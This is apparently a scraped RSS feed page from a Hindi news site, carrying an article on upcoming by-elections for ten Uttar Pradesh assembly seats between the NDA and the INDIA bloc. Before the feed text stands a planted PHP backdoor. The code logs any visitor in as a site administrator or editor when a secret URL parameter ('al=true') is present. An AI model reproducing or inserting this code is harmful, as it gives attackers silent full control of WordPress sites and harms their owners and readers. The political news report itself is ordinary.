// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); उपचुनाव – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 23 Jun 2024 17:15:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 आगामी 10 विधानसभा सीटों पर उपचुनाव में कड़ी प्रतिस्पर्धा देखने को मिल सकती है, NDA vs INDIA की होगी टकर https://pratyushaashakinayikiran.com/?p=44603 Sun, 23 Jun 2024 17:15:00 +0000 https://pratyushaashakinayikiran.com/?p=44603 लखनऊ
लोकसभा चुनावों में उत्तर प्रदेश में इंडिया ब्लॉक द्वारा भारतीय जनता पार्टी (भाजपा) के खिलाफ महत्वपूर्ण बढ़त हासिल करने के साथ, खाली हुई 10 विधानसभा सीटों पर उपचुनाव में कड़ी प्रतिस्पर्धा देखने को मिल सकती है. सत्तारूढ़ दल पर अपनी बढ़त वापस पाने का दबाव है. चुनाव आयोग की ओर से अभी तक उपचुनाव की तारीख की घोषणा नहीं की गई है. हालांकि, समाजवादी पार्टी (सपा) और कांग्रेस ने घोषणा की है कि वे इंडिया ब्लॉक के तहत यूपी विधानसभा उपचुनाव एक साथ लड़ेंगे. सत्तारूढ़ भारतीय जनता पार्टी (भाजपा) के नेतृत्व वाले राष्ट्रीय जनतांत्रिक गठबंधन (एनडीए) ने भी अपनी तैयारी शुरू कर दी है. समाजवादी पार्टी प्रमुख अखिलेश यादव सहित 9 विधानसभा सदस्यों के लोकसभा के लिए चुने जाने के बाद सीटें खाली हो गई थीं, जबकि कानपुर के सीसामऊ से सपा विधायक इरफान सोलंकी को एक आपराधिक मामले में जेल की सजा सुनाए जाने के बाद अयोग्य घोषित कर दिया गया था.

यूपी विधानसभा के विशेष सचिव ब्रजभूषण दुबे ने पीटीआई-भाषा को बताया कि 10 सीटों पर रिक्तियों की जानकारी चुनाव आयोग को भेज दी गई है. प्रक्रिया के मुताबिक इन सीटों पर छह महीने के भीतर उपचुनाव कराने होंगे'. 2022 के यूपी विधानसभा चुनाव में इनमें से 5 सीटें समाजवादी पार्टी ने जीती थीं, जबकि 1 सीट राष्ट्रीय लोक दल (आरएलडी) को मिली थी, जो तब एसपी के साथ गठबंधन में थी और अब एनडीए का हिस्सा है. तीन सीटें बीजेपी को मिली थीं और एक सीट बीजेपी की सहयोगी पार्टी निषाद पार्टी के खाते में गई थी.

उपचुनाव नतीजों का मनोबल पर पड़ेगा असर
उपचुनाव के नतीजे राज्य विधानसभा में भाजपा के लिए संख्यात्मक रूप से महत्वहीन होंगे, जहां उसके पास आरामदायक बहुमत है. हालांकि, इन नतीजों का दोनों पक्षों के मनोबल पर असर पड़ेगा. क्योंकि भाजपा को कोई और नुकसान विपक्षी सपा और कांग्रेस को और मजबूत करने में मदद करेगा. सपा और कांग्रेस ने भरोसा जताया है कि वे लोकसभा चुनाव में अपनी जीत का सिलसिला जारी रखेंगे, वहीं बीजेपी भी 'कुछ खास' करने की तैयारी में है. नेताओं के अनुसार, उपचुनाव दोनों गठबंधनों के लिए अपनी 'विश्वसनीयता' बढ़ाने के लिए महत्वपूर्ण होंगे.

बीजेपी के प्रदेश मीडिया प्रभारी मनीष दीक्षित ने पीटीआई-भाषा से कहा, 'एनडीए पूरी ताकत के साथ विधानसभा उपचुनाव लड़ेगी. कहीं कोई दबाव नहीं है. बीजेपी के कार्यकर्ता जनता की सेवा और चुनाव के लिए हमेशा तैयार रहते हैं.' एनडीए में शामिल  दलों को सीटें देने के सवाल पर उन्होंने कहा, 'यह पार्टी नेतृत्व तय करेगा लेकिन संगठन और सरकार के स्तर पर हमने पूरे जोश के साथ चुनाव की तैयारी शुरू कर दी है'.

जब समाजवादी पार्टी (सपा) के मुख्य प्रवक्ता और राष्ट्रीय सचिव राजेंद्र चौधरी से इस बारे में पूछा गया तो उन्होंने कहा, 'सभी रिक्त सीटों पर उपचुनाव की तैयारी शुरू कर दी गई है और हम कांग्रेस पार्टी के साथ गठबंधन करके चुनाव लड़ेंगे. पार्टी कार्यकर्ता पूरी ताकत लगाएं और जीतें. लोकसभा चुनाव में प्रबंधन के लिए बनी कमेटी इन 10 सीटों पर तैयारी कर रही है और संसद सत्र के बाद राष्ट्रीय अध्यक्ष अखिलेश यादव इसके लिए नई कमेटी बनाएंगे'.
 
लोकसभा चुनाव में भारी पड़ा था इंडिया ब्लॉक
इस बीच, यूपी कांग्रेस कमेटी के अध्यक्ष अजय राय ने कहा कि आगामी उपचुनाव में इंडिया गठबंधन एकजुट होकर लड़ेगा और जल्द ही हमारे नेता बैठक कर सीटों और चुनावी रणनीति पर चर्चा करेंगे. बहुजन समाज पार्टी के एक नेता ने बताया कि पार्टी प्रमुख मायावती ने रविवार को लखनऊ में सभी राज्यों के प्रमुख नेताओं की बैठक बुलाई है, जिसमें उपचुनाव की रणनीति पर भी चर्चा हो सकती है. 2024 के लोकसभा चुनावों में, इंडिया ब्लॉक ने राज्य की 80 में से 43 सीटें जीतीं, जिसमें 37 सीटें एसपी और छह सीटें कांग्रेस के खाते में गईं.

दूसरी ओर, सत्तारूढ़ भारतीय जनता पार्टी ने 33 सीटें जीतीं, जबकि उसकी सहयोगी राष्ट्रीय लोक दल को दो और अपना दल (एस) को एक सीट मिली. इस चुनाव में बसपा का खाता नहीं खुला. भाजपा और उसके सहयोगियों ने उत्तर प्रदेश में 2014 के लोकसभा चुनाव में 73 और 2019 में 64 सीटें जीती थीं. 2022 के उत्तर प्रदेश विधानसभा चुनाव में बीजेपी ने अपने सहयोगियों के साथ कुल 273 सीटें जीती थीं.
 

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